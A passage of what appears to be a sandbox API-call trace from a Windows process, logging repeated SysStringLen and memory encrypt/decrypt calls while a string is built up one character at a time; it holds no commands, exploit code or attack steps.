(param_1="\xc01b\x4c0a\x8933\x8935\x8bfb\x6acf\xb8df\x207\x37ab\xa8f1\x7f94\x9aec\xc77e\x4447\xb782\x403d\x4ba8\xb3b\x36f4\x9a66\xe8a2\xebfd\x7ead\x28f2") returned 0x18 [0134.226] SysStringLen (param_1="\xc01b\x4c0a\x8933\x8935\x8bfb\x6acf\xb8df\x207\x37ab\xa8f1\x7f94\x9aec\xc77e\x4447\xb782\x403d\x4ba8\xb3b\x36f4\x9a66\xe8a2\xebfd\x7ead\x28f2") returned 0x18 [0134.226] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.226] SysStringLen (param_1="6Nh9NJYzOlufcuZSD2i鯪ξ僒烮") returned 0x18 [0134.226] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.226] SysStringLen (param_1="\xc01b\x4c0a\x8933\x8935\x8bfb\x6acf\xb8df\x207\x37ab\xa8f1\x7f94\x9aec\xc77e\x4447\xb782\x403d\x9a75\x1943\x31e2\x46db\x6a96\x4e10\x87f1\x14d8") returned 0x18 [0134.226] SysStringLen (param_1="\xc01b\x4c0a\x8933\x8935\x8bfb\x6acf\xb8df\x207\x37ab\xa8f1\x7f94\x9aec\xc77e\x4447\xb782\x403d\x9a75\x1943\x31e2\x46db\x6a96\x4e10\x87f1\x14d8") returned 0x18 [0134.226] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.226] SysStringLen (param_1="6Nh9NJYzOlufcuZSD2i2ξ僒烮") returned 0x18 [0134.226] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.227] SysStringLen (param_1="\xc01b\x4c0a\x8933\x8935\x8bfb\x6acf\xb8df\x207\x37ab\xa8f1\x7f94\x9aec\xc77e\x4447\xb782\x403d\x4998\xfcb0\xdf2c\xfe56\xb95b\x6935\x82ac\x4445") returned 0x18 [0134.227] SysStringLen (param_1="\xc01b\x4c0a\x8933\x8935\x8bfb\x6acf\xb8df\x207\x37ab\xa8f1\x7f94\x9aec\xc77e\x4447\xb782\x403d\x4998\xfcb0\xdf2c\xfe56\xb95b\x6935\x82ac\x4445") returned 0x18 [0134.227] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.227] SysStringLen (param_1="6Nh9NJYzOlufcuZSD2i2L僒烮") returned 0x18 [0134.227] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.227] SysStringLen (param_1="\xc01b\x4c0a\x8933\x8935\x8bfb\x6acf\xb8df\x207\x37ab\xa8f1\x7f94\x9aec\xc77e\x4447\xb782\x403d\x10cf\xc38f\xc43c\x4934\x60fe\xf5cd\xc6fa\xac8c") returned 0x18 [0134.227] SysStringLen (param_1="\xc01b\x4c0a\x8933\x8935\x8bfb\x6acf\xb8df\x207\x37ab\xa8f1\x7f94\x9aec\xc77e\x4447\xb782\x403d\x10cf\xc38f\xc43c\x4934\x60fe\xf5cd\xc6fa\xac8c") returned 0x18 [0134.227] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.227] SysStringLen (param_1="6Nh9NJYzOlufcuZSD2i2LH烮") returned 0x18 [0134.227] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.227] SysStringLen (param_1="\xc01b\x4c0a\x8933\x8935\x8bfb\x6acf\xb8df\x207\x37ab\xa8f1\x7f94\x9aec\xc77e\x4447\xb782\x403d\x21ac\xa7f\xe147\x5936\xb312\xa02d\xa049\xd984") returned 0x18 [0134.227] SysStringLen (param_1="\xc01b\x4c0a\x8933\x8935\x8bfb\x6acf\xb8df\x207\x37ab\xa8f1\x7f94\x9aec\xc77e\x4447\xb782\x403d\x21ac\xa7f\xe147\x5936\xb312\xa02d\xa049\xd984") returned 0x18 [0134.227] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.228] SysStringLen (param_1="6Nh9NJYzOlufcuZSD2i2LHA烮") returned 0x18 [0134.228] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.228] SysStringLen (param_1="\xc01b\x4c0a\x8933\x8935\x8bfb\x6acf\xb8df\x207\x37ab\xa8f1\x7f94\x9aec\xc77e\x4447\xb782\x403d\x7cf6\x223c\xa0ae\x6461\x5725\xc630\xa7a\x9488") returned 0x18 [0134.229] SysStringLen (param_1="\xc01b\x4c0a\x8933\x8935\x8bfb\x6acf\xb8df\x207\x37ab\xa8f1\x7f94\x9aec\xc77e\x4447\xb782\x403d\x7cf6\x223c\xa0ae\x6461\x5725\xc630\xa7a\x9488") returned 0x18 [0134.229] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.229] SysStringLen (param_1="6Nh9NJYzOlufcuZSD2i2LHAu") returned 0x18 [0134.229] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.229] SysStringLen (param_1="\xc01b\x4c0a\x8933\x8935\x8bfb\x6acf\xb8df\x207\x37ab\xa8f1\x7f94\x9aec\xc77e\x4447\xb782\x403d\x2c40\x44b1\x22b7\xcdd8\x49da\xfd46\xeba0\xc6c7") returned 0x18 [0134.229] SysStringLen (param_1="\xc01b\x4c0a\x8933\x8935\x8bfb\x6acf\xb8df\x207\x37ab\xa8f1\x7f94\x9aec\xc77e\x4447\xb782\x403d\x2c40\x44b1\x22b7\xcdd8\x49da\xfd46\xeba0\xc6c7") returned 0x18 [0134.229] SysStringLen (param_1="\xc01b\x4c0a\x8933\x8935\x8bfb\x6acf\xb8df\x207\x37ab\xa8f1\x7f94\x9aec\xc77e\x4447\xb782\x403d\x2c40\x44b1\x22b7\xcdd8\x49da\xfd46\xeba0\xc6c7") returned 0x18 [0134.229] SysStringLen (param_1="\xc01b\x4c0a\x8933\x8935\x8bfb\x6acf\xb8df\x207\x37ab\xa8f1\x7f94\x9aec\xc77e\x4447\xb782\x403d\x2c40\x44b1\x22b7\xcdd8\x49da\xfd46\xeba0\xc6c7") returned 0x20 [0134.229] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.229] SysStringLen (param_1="6Nh9NJYzOlufcuZSD2i2LHAuC䒛凿쳞贚깛") returned 0x20 [0134.229] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.229] SysStringLen (param_1="\xc01b\x4c0a\x8933\x8935\x8bfb\x6acf\xb8df\x207\x37ab\xa8f1\x7f94\x9aec\xc77e\x4447\xb782\x403d\x2c40\x44b1\x22b7\xcdd8\x49da\xfd46\xeba0\xc6c7\x7faf\x6021\x3b97\x29af\xa2fd\x6d56\xe478\xedab") returned 0x20 [0134.229] SysStringLen (param_1="\xc01b\x4c0a\x8933\x8935\x8bfb\x6acf\xb8df\x207\x37ab\xa8f1\x7f94\x9aec\xc77e\x4447\xb782\x403d\x2c40\x44b1\x22b7\xcdd8\x49da\xfd46\xeba0\xc6c7\x7faf\x6021\x3b97\x29af\xa2fd\x6d56\xe478\xedab") returned 0x20 [0134.229] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.229] SysStringLen (param_1="6Nh9NJYzOlufcuZSD2i2LHAuCB凿쳞贚깛") returned 0x20 [0134.229] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.230] SysStringLen (param_1="\xc01b\x4c0a\x8933\x8935\x8bfb\x6acf\xb8df\x207\x37ab\xa8f1\x7f94\x9aec\xc77e\x4447\xb782\x403d\x2c40\x44b1\x22b7\xcdd8\x49da\xfd46\xeba0\xc6c7\xb444\xe7\x37e8\xaec8\xf776\x17a7\xe01\x2fd3") returned 0x20 [0134.230] SysStringLen (param_1="\xc01b\x4c0a\x8933\x8935\x8bfb\x6acf\xb8df\x207\x37ab\xa8f1\x7f94\x9aec\xc77e\x4447\xb782\x403d\x2c40\x44b1\x22b7\xcdd8\x49da\xfd46\xeba0\xc6c7\xb444\xe7\x37e8\xaec8\xf776\x17a7\xe01\x2fd3") returned 0x20 [0134.230] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.230] SysStringLen (param_1="6Nh9NJYzOlufcuZSD2i2LHAuCBc쳞贚깛") returned 0x20 [0134.230] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.230] SysStringLen (param_1="\xc01b\x4c0a\x8933\x8935\x8bfb\x6acf\xb8df\x207\x37ab\xa8f1\x7f94\x9aec\xc77e\x4447\xb782\x403d\x2c40\x44b1\x22b7\xcdd8\x49da\xfd46\xeba0\xc6c7\x98f1\xe373\xebd9\x72d3\xa3e4\xc807\xabfa\xc1d4") returned 0x20 [0134.230] SysStringLen (param_1="\xc01b\x4c0a\x8933\x8935\x8bfb\x6acf\xb8df\x207\x37ab\xa8f1\x7f94\x9aec\xc77e\x4447\xb782\x403d\x2c40\x44b1\x22b7\xcdd8\x49da\xfd46\xeba0\xc6c7\x98f1\xe373\xebd9\x72d3\xa3e4\xc807\xabfa\xc1d4") returned 0x20 [0134.230] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.230] SysStringLen (param_1="6Nh9NJYzOlufcuZSD2i2LHAuCBcz贚깛") returned 0x20 [0134.230] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.230] SysStringLen (param_1="\xc01b\x4c0a\x8933\x8935\x8bfb\x6acf\xb8df\x207\x37ab\xa8f1\x7f94\x9aec\xc77e\x4447\xb782\x403d\x2c40\x44b1\x22b7\xcdd8\x49da\xfd46\xeba0\xc6c7\x9476\xe622\xa75\x45f9\xc864\xecaf\xf923\xf76d") returned 0x20 [0134.230] SysStringLen (param_1="\xc01b\x4c0a\x8933\x8935\x8bfb\x6acf\xb8df\x207\x37ab\xa8f1\x7f94\x9aec\xc77e\x4447\xb782\x403d\x2c40\x44b1\x22b7\xcdd8\x49da\xfd46\xeba0\xc6c7\x9476\xe622\xa75\x45f9\xc864\xecaf\xf923\xf76d") returned 0x20 [0134.230] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.230] SysStringLen (param_1="6Nh9NJYzOlufcuZSD2i2LHAuCBczU깛") returned 0x20 [0134.230] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.231] SysStringLen (param_1="\xc01b\x4c0a\x8933\x8935\x8bfb\x6acf\xb8df\x207\x37ab\xa8f1\x7f94\x9aec\xc77e\x4447\xb782\x403d\x2c40\x44b1\x22b7\xcdd8\x49da\xfd46\xeba0\xc6c7\x7cea\x6903\xc1a0\xa20\xc05e\xd0ef\x259a\x3bbb") returned 0x20 [0134.231] SysStringLen (param_1="\xc01b\x4c0a\x8933\x8935\x8bfb\x6acf\xb8df\x207\x37ab\xa8f1\x7f94\x9aec\xc77e\x4447\xb782\x403d\x2c40\x44b1\x22b7\xcdd8\x49da\xfd46\xeba0\xc6c7\x7cea\x6903\xc1a0\xa20\xc05e\xd0ef\x259a\x3bbb") returned 0x20 [0134.231] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.231] SysStringLen (param_1="6Nh9NJYzOlufcuZSD2i2LHAuCBczUM깛") returned 0x20 [0134.231] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.231] SysStringLen (param_1="\xc01b\x4c0a\x8933\x8935\x8bfb\x6acf\xb8df\x207\x37ab\xa8f1\x7f94\x9aec\xc77e\x4447\xb782\x403d\x2c40\x44b1\x22b7\xcdd8\x49da\xfd46\xeba0\xc6c7\x340f\xc346\x9f54\x64cb\x7f49\x6032\x8ac6\x4915") returned 0x20 [0134.231] SysStringLen (param_1="\xc01b\x4c0a\x8933\x8935\x8bfb\x6acf\xb8df\x207\x37ab\xa8f1\x7f94\x9aec\xc77e\x4447\xb782\x403d\x2c40\x44b1\x22b7\xcdd8\x49da\xfd46\xeba0\xc6c7\x340f\xc346\x9f54\x64cb\x7f49\x6032\x8ac6\x4915") returned 0x20 [0134.231] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.231] SysStringLen (param_1="6Nh9NJYzOlufcuZSD2i2LHAuCBczUMj") returned 0x20 [0134.231] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.231] SysStringLen (param_1="\xc01b\x4c0a\x8933\x8935\x8bfb\x6acf\xb8df\x207\x37ab\xa8f1\x7f94\x9aec\xc77e\x4447\xb782\x403d\x2c40\x44b1\x22b7\xcdd8\x49da\xfd46\xeba0\xc6c7\xd2f6\xb86b\xe0a7\x2839\x4e40\xe574\x36b7\xb7c7") returned 0x20 [0134.231] SysStringLen (param_1="\xc01b\x4c0a\x8933\x8935\x8bfb\x6acf\xb8df\x207\x37ab\xa8f1\x7f94\x9aec\xc77e\x4447\xb782\x403d\x2c40\x44b1\x22b7\xcdd8\x49da\xfd46\xeba0\xc6c7\xd2f6\xb86b\xe0a7\x2839\x4e40\xe574\x36b7\xb7c7") returned 0x20 [0134.231] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.231] SysStringLen (param_1="6Nh9NJYzOlufcuZSD2i2LHAuCBczUMjO") returned 0x20 [0134.231] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.231] SysStringLen (param_1="\xc01b\x4c0a\x8933\x8935\x8bfb\x6acf\xb8df\x207\x37ab\xa8f1\x7f94\x9aec\xc77e\x4447\xb782\x403d\x2c40\x44b1\x22b7\xcdd8\x49da\xfd46\xeba0\xc6c7\x7f0d\x5ce3\x5ce\x51da\xc035\x18d6\x7ee0\x5f37") returned 0x20 [0134.232] SysStringLen (param_1="\xc01b\x4c0a\x8933\x8935\x8bfb\x6acf\xb8df\x207\x37ab\xa8f1\x7f94\x9aec\xc77e\x4447\xb782\x403d\x2c40\x44b1\x22b7\xcdd8\x49da\xfd46\xeba0\xc6c7\x7f0d\x5ce3\x5ce\x51da\xc035\x18d6\x7ee0\x5f37") returned 0x20 [0134.232] SysStringLen (param_1="\xc01b\x4c0a\x8933\x8935\x8bfb\x6acf\xb8df\x207\x37ab\xa8f1\x7f94\x9aec\xc77e\x4447\xb782\x403d\x2c40\x44b1\x22b7\xcdd8\x49da\xfd46\xeba0\xc6c7\x7f0d\x5ce3\x5ce\x51da\xc035\x18d6\x7ee0\x5f37") returned 0x20 [0134.232] SysStringLen (param_1="\xc01b\x4c0a\x8933\x8935\x8bfb\x6acf\xb8df\x207\x37ab\xa8f1\x7f94\x9aec\xc77e\x4447\xb782\x403d\x2c40\x44b1\x22b7\xcdd8\x49da\xfd46\xeba0\xc6c7\x7f0d\x5ce3\x5ce\x51da\xc035\x18d6\x7ee0\x5f37\x02") returned 0x28 [0134.232] SystemFunction041 (in: Memory=0x4382f5c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4382f5c) returned 0x0 [0134.232] SysStringLen (param_1="6Nh9NJYzOlufcuZSD2i2LHAuCBczUMjOs柔㝺ｐзრ긊") returned 0x28 [0134.232] SystemFunction040 (in: Memory=0x4382f5c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4382f5c) returned 0x0 [0134.232] SysStringLen (param_1="\xc01b\x4c0a\x8933\x8935\x8bfb\x6acf\xb8df\x207\x37ab\xa8f1\x7f94\x9aec\xc77e\x4447\xb782\x403d\x2c40\x44b1\x22b7\xcdd8\x49da\xfd46\xeba0\xc6c7\x7f0d\x5ce3\x5ce\x51da\xc035\x18d6\x7ee0\x5f37\x629\x8fb2\x9d5e\x3c3f\xa866\x7171\xd498\xbcab") returned 0x28 [0134.232] SysStringLen (param_1="\xc01b\x4c0a\x8933\x8935\x8bfb\x6acf\xb8df\x207\x37ab\xa8f1\x7f94\x9aec\xc77e\x4447\xb782\x403d\x2c40\x44b1\x22b7\xcdd8\x49da\xfd46\xeba0\xc6c7\x7f0d\x5ce3\x5ce\x51da\xc035\x18d6\x7ee0\x5f37\x629\x8fb2\x9d5e\x3c3f\xa866\x7171\xd498\xbcab") returned 0x28 [0134.232] SystemFunction041 (in: Memory=0x4382f5c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4382f5c) returned 0x0 [0134.232] SysStringLen (param_1="6Nh9NJYzOlufcuZSD2i2LHAuCBczUMjOsQ㝺ｐзრ긊") returned 0x28 [0134.232] SystemFunction040 (in: Memory=0x4382f5c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4382f5c) returned 0x0 [0134.232] SysStringLen (param_1="\xc01b\x4c0a\x8933\x8935\x8bfb\x6acf\xb8df\x207\x37ab\xa8f1\x7f94\x9aec\xc77e\x4447\xb782\x403d\x2c40\x44b1\x22b7\xcdd8\x49da\xfd46\xeba0\xc6c7\x7f0d\x5ce3\x5ce\x51da\xc035\x18d6\x7ee0\x5f37\xf186\x1d55\xb3fa\x9bd5\xfba3\x61c4\xd3ec\x52ff") returned 0x28 [0134.232] SysStringLen (param_1="\xc01b\x4c0a\x8933\x8935\x8bfb\x6acf\xb8df\x207\x37ab\xa8f1\x7f94\x9aec\xc77e\x4447\xb782\x403d\x2c40\x44b1\x22b7\xcdd8\x49da\xfd46\xeba0\xc6c7\x7f0d\x5ce3\x5ce\x51da\xc035\x18d6\x7ee0\x5f37\xf186\x1d55\xb3fa\x9bd5\xfba3\x61c4\xd3ec\x52ff") returned 0x28 [0134.232] SystemFunction041 (in: Memory=0x4382f5c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4382f5c) returned 0x0 [0134.232] SysStringLen (param_1="6Nh9NJYzOlufcuZSD2i2LHAuCBczUMjOsQ0ｐзრ긊") returned 0x28 [0134.232] SystemFunction040 (in: Memory=0x4382f5c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4382f5c) returned 0x0 [0134.233] SysStringLen (param_1="\xc01b\x4c0a\x8933\x8935\x8bfb\x6acf\xb8df\x207\x37ab\xa8f1\x7f94\x9aec\xc77e\x4447\xb782\x403d\x2c40\x44b1\x22b7\xcdd8\x49da\xfd46\xeba0\xc6c7\x7f0d\x5ce3\x5ce\x51da\xc035\x18d6\x7ee0\x5f37\x336d\x8360\x2767\xbbd1\x8a7a\x7fed\x9f8e\xaa2a") returned 0x28 [0134.233] SysStringLen (param_1="\xc01b\x4c0a\x8933\x8935\x8bfb\x6acf\xb8df\x207\x37ab\xa8f1\x7f94\x9aec\xc77e\x4447\xb782\x403d\x2c40\x44b1\x22b7\xcdd8\x49da\xfd46\xeba0\xc6c7\x7f0d\x5ce3\x5ce\x51da\xc035\x18d6\x7ee0\x5f37\x336d\x8360\x2767\xbbd1\x8a7a\x7fed\x9f8e\xaa2a") returned 0x28 [0134.233] SystemFunction041 (in: Memory=0x4382f5c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4382f5c) returned 0x0 [0134.233] SysStringLen (param_1="6Nh9NJYzOlufcuZSD2i2LHAuCBczUMjOsQ0Kзრ긊") returned 0x28 [0134.233] SystemFunction040 (in: Memory=0x4382f5c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4382f5c) returned 0x0 [0134.233] SysStringLen (param_1="\xc01b\x4c0a\x8933\x8935\x8bfb\x6acf\xb8df\x207\x37ab\xa8f1\x7f94\x9aec\xc77e\x4447\xb782\x403d\x2c40\x44b1\x22b7\xcdd8\x49da\xfd46\xeba0\xc6c7\x7f0d\x5ce3\x5ce\x51da\xc035\x18d6\x7ee0\x5f37\xb85c\x6fee\x1b8b\x9795\xfd5f\x2ba2\x93e3\x5d21") returned 0x28 [0134.233] SysStringLen (param_1="\xc01b\x4c0a\x8933\x8935\x8bfb\x6acf\xb8df\x207\x37ab\xa8f1\x7f94\x9aec\xc77e\x4447\xb782\x403d\x2c40\x44b1\x22b7\xcdd8\x49da\xfd46\xeba0\xc6c7\x7f0d\x5ce3\x5ce\x51da\xc035\x18d6\x7ee0\x5f37\xb85c\x6fee\x1b8b\x9795\xfd5f\x2ba2\x93e3\x5d21") returned 0x28 [0134.233] SystemFunction041 (in: Memory=0x4382f5c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4382f5c) returned 0x0 [0134.233] SysStringLen (param_1="6Nh9NJYzOlufcuZSD2i2LHAuCBczUMjOsQ0KQრ긊") returned 0x28 [0134.233] SystemFunction040 (in: Memory=0x4382f5c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4382f5c) returned 0x0 [0134.233] SysStringLen (param_1="\xc01b\x4c0a\x8933\x8935\x8bfb\x6acf\xb8df\x207\x37ab\xa8f1\x7f94\x9aec\xc77e\x4447\xb782\x403d\x2c40\x44b1\x22b7\xcdd8\x49da\xfd46\xeba0\xc6c7\x7f0d\x5ce3\x5ce\x51da\xc035\x18d6\x7ee0\x5f37\xf27c\x5830\xe1e6\x2e32\x299c\x376\x413e\xdaa7") returned 0x28 [0134.233] SysStringLen (param_1="\xc01b\x4c0a\x8933\x8935\x8bfb\x6acf\xb8df\x207\x37ab\xa8f1\x7f94\x9aec\xc77e\x4447\xb782\x403d\x2c40\x44b1\x22b7\xcdd8\x49da\xfd46\xeba0\xc6c7\x7f0d\x5ce3\x5ce\x51da\xc035\x18d6\x7ee0\x5f37\xf27c\x5830\xe1e6\x2e32\x299c\x376\x413e\xdaa7") returned 0x28 [0134.233] SystemFunction041 (in: Memory=0x4382f5c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4382f5c) returned 0x0 [0134.233] SysStringLen (param_1="6Nh9NJYzOlufcuZSD2i2LHAuCBczUMjOsQ0KQQ긊") returned 0x28 [0134.233] SystemFunction040 (in: Memory=0x4382f5c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4382f5c) returned 0x0 [0134.233] SysStringLen (param_1="\xc01b\x4c0a\x8933\x8935\x8bfb\x6acf\xb8df\x207\x37ab\xa8f1\x7f94\x9aec\xc77e\x4447\xb782\x403d\x2c40\x44b1\x22b7\xcdd8\x49da\xfd46\xeba0\xc6c7\x7f0d\x5ce3\x5ce\x51da\xc035\x18d6\x7ee0\x5f37\xe2f1\xf44e\x60d3\xc074\x250\x61bd\x8f52\x338") returned 0x28 [0134.233] SysStringLen (param_1="\xc01b\x4c0a\x8933\x8935\x8bfb\x6acf\xb8df\x207\x37ab\xa8f1\x7f94\x9aec\xc77e\x4447\xb782\x403d\x2c40\x44b1\x22b7\xcdd8\x49da\xfd46\xeba0\xc6c7\x7f0d\x5ce3\x5ce\x51da\xc035\x18d6\x7ee0\x5f37\xe2f1\xf44e\x60d3\xc074\x250\x61bd\x8f52\x338") returned 0x28 [0134.233] SystemFunction041 (in: Memory=0x4382f5c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4382f5c) returned 0x0 [0134.234] SysStringLen (param_1="6Nh9NJYzOlufcuZSD2i2LHAuCBczUMjOsQ0KQQG") returned 0x28 [0134.234] SystemFunction040 (in: Memory=0x4382f5c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4382f5c) returned 0x0 [0134.234] SysStringLen (param_1="\xc01b\x4c0a\x8933\x8935\x8bfb\x6acf\xb8df\x207\x37ab\xa8f1\x7f94\x9aec\xc77e\x4447\xb782\x403d\x2c40\x44b1\x22b7\xcdd8\x49da\xfd46\xeba0\xc6c7\x7f0d\x5ce3\x5ce\x51da\xc035\x18d6\x7ee0\x5f37\xd016\x1a1d\x4441\xa304\xee3\xbce6\xdf43\xe2f1") returned 0x28 [0134.234] SysStringLen (param_1="\xc01b\x4c0a\x8933\x8935\x8bfb\x6acf\xb8df\x207\x37ab\xa8f1\x7f94\x9aec\xc77e\x4447\xb782\x403d\x2c40\x44b1\x22b7\xcdd8\x49da\xfd46\xeba0\xc6c7\x7f0d\x5ce3\x5ce\x51da\xc035\x18d6\x7ee0\x5f37\xd016\x1a1d\x4441\xa304\xee3\xbce6\xdf43\xe2f1") returned 0x28 [0134.234] SystemFunction041 (in: Memory=0x4382f5c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4382f5c) returned 0x0 [0134.234] SysStringLen (param_1="6Nh9NJYzOlufcuZSD2i2LHAuCBczUMjOsQ0KQQG/") returned 0x28 [0134.234] SystemFunction040 (in: Memory=0x4382f5c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4382f5c) returned 0x0 [0134.234] SysStringLen (param_1="\xc01b\x4c0a\x8933\x8935\x8bfb\x6acf\xb8df\x207\x37ab\xa8f1\x7f94\x9aec\xc77e\x4447\xb782\x403d\x2c40\x44b1\x22b7\xcdd8\x49da\xfd46\xeba0\xc6c7\x7f0d\x5ce3\x5ce\x51da\xc035\x18d6\x7ee0\x5f37\x9bb4\xc151\x1e2d\xa5a7\xab12\x6a99\x04\xbf97") returned 0x28 [0134.234] SysStringLen (param_1="\xc01b\x4c0a\x8933\x8935\x8bfb\x6acf\xb8df\x207\x37ab\xa8f1\x7f94\x9aec\xc77e\x4447\xb782\x403d\x2c40\x44b1\x22b7\xcdd8\x49da\xfd46\xeba0\xc6c7\x7f0d\x5ce3\x5ce\x51da\xc035\x18d6\x7ee0\x5f37\x9bb4\xc151\x1e2d\xa5a7\xab12\x6a99\x04\xbf97") returned 0x28 [0134.234] SysStringLen (param_1="\xc01b\x4c0a\x8933\x8935\x8bfb\x6acf\xb8df\x207\x37ab\xa8f1\x7f94\x9aec\xc77e\x4447\xb782\x403d\x2c40\x44b1\x22b7\xcdd8\x49da\xfd46\xeba0\xc6c7\x7f0d\x5ce3\x5ce\x51da\xc035\x18d6\x7ee0\x5f37\x9bb4\xc151\x1e2d\xa5a7\xab12\x6a99\x04\xbf97") returned 0x28 [0134.234] SysStringLen (param_1="\xc01b\x4c0a\x8933\x8935\x8bfb\x6acf\xb8df\x207\x37ab\xa8f1\x7f94\x9aec\xc77e\x4447\xb782\x403d\x2c40\x44b1\x22b7\xcdd8\x49da\xfd46\xeba0\xc6c7\x7f0d\x5ce3\x5ce\x51da\xc035\x18d6\x7ee0\x5f37\x9bb4\xc151\x1e2d\xa5a7\xab12\x6a99\x04\xbf97") returned 0x30 [0134.234] SystemFunction041 (in: Memory=0x8e3092c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3092c) returned 0x0 [0134.234] SysStringLen (param_1="6Nh9NJYzOlufcuZSD2i2LHAuCBczUMjOsQ0KQQG/2셻浥꒡濒縌䗿轄") returned 0x30 [0134.234] SystemFunction040 (in: Memory=0x8e3092c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3092c) returned 0x0 [0134.234] SysStringLen (param_1="\xc01b\x4c0a\x8933\x8935\x8bfb\x6acf\xb8df\x207\x37ab\xa8f1\x7f94\x9aec\xc77e\x4447\xb782\x403d\x2c40\x44b1\x22b7\xcdd8\x49da\xfd46\xeba0\xc6c7\x7f0d\x5ce3\x5ce\x51da\xc035\x18d6\x7ee0\x5f37\x9bb4\xc151\x1e2d\xa5a7\xab12\x6a99\x04\xbf97\x9f90\xcbc2\xb639\x66d7\x89c3\x6401\xd7a3\xa674") returned 0x30 [0134.235] SysStringLen (param_1="\xc01b\x4c0a\x8933\x8935\x8bfb\x6acf\xb8df\x207\x37ab\xa8f1\x7f94\x9aec\xc77e\x4447\xb782\x403d\x2c40\x44b1\x22b7\xcdd8\x49da\xfd46\xeba0\xc6c7\x7f0d\x5ce3\x5ce\x51da\xc035\x18d6\x7ee0\x5f37\x9bb4\xc151\x1e2d\xa5a7\xab12\x6a99\x04\xbf97\x9f90\xcbc2\xb639\x66d7\x89c3\x6401\xd7a3\xa674") returned 0x30 [0134.235] SystemFunction041 (in: Memory=0x8e3092c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3092c) returned 0x0 [0134.235] SysStringLen (param_1="6Nh9NJYzOlufcuZSD2i2LHAuCBczUMjOsQ0KQQG/2x浥꒡濒縌䗿轄") returned 0x30 [0134.235] SystemFunction040 (in: Memory=0x8e3092c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3092c) returned 0x0 [0134.235] SysStringLen 